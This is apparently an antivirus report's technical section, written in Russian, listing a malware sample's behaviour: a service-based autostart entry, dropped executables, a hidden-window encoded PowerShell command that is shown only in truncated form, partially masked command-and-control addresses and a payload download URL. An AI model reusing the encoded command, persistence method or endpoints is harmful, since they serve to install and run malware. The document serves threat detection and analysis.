Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\colorui] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\colorui] 'ImagePath' = '"%WINDIR%\SysWOW64\networkitemfactory\colorui.exe"'
- 'colorui' "%WINDIR%\SysWOW64\networkitemfactory\colorui.exe"
- 'colorui' %WINDIR%\SysWOW64\networkitemfactory\colorui.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABHAGkANgBsAHcAeABhAD0AKAAoACcASQBuACcAKwAnAGkANAAnACkAKwAoACcAZQA3ACcAKwAnADgAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAFIAcA...
- %HOMEPATH%\khzymss\fzwdn2c\m8acphjk.exe
- %WINDIR%\syswow64\networkitemfactory\colorui.exe
- %HOMEPATH%\khzymss\fzwdn2c\m8acphjk.exe в %WINDIR%\syswow64\networkitemfactory\colorui.exe
- '49.##3.9.118':80
- '16#.#41.41.111':7080
- '19#.#5.46.52':7080
- http://ho###aut.com/wp-content/o4X/
- http://19#.##.46.52:7080/Cwlywrc/HoVW3/Xbo6Ekzg7/eLZJr/eoSlIjq1lX75pnJ6/jBIPnoSn/ via 19#.#5.46.52
- DNS ASK ho###aut.com
- '%HOMEPATH%\khzymss\fzwdn2c\m8acphjk.exe'
- '%WINDIR%\syswow64\networkitemfactory\colorui.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABHAGkANgBsAHcAeABhAD0AKAAoACcASQBuACcAKwAnAGkANAAnACkAKwAoACcAZQA3ACcAKwAnADgAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAFIAcA...' (со скрытым окном)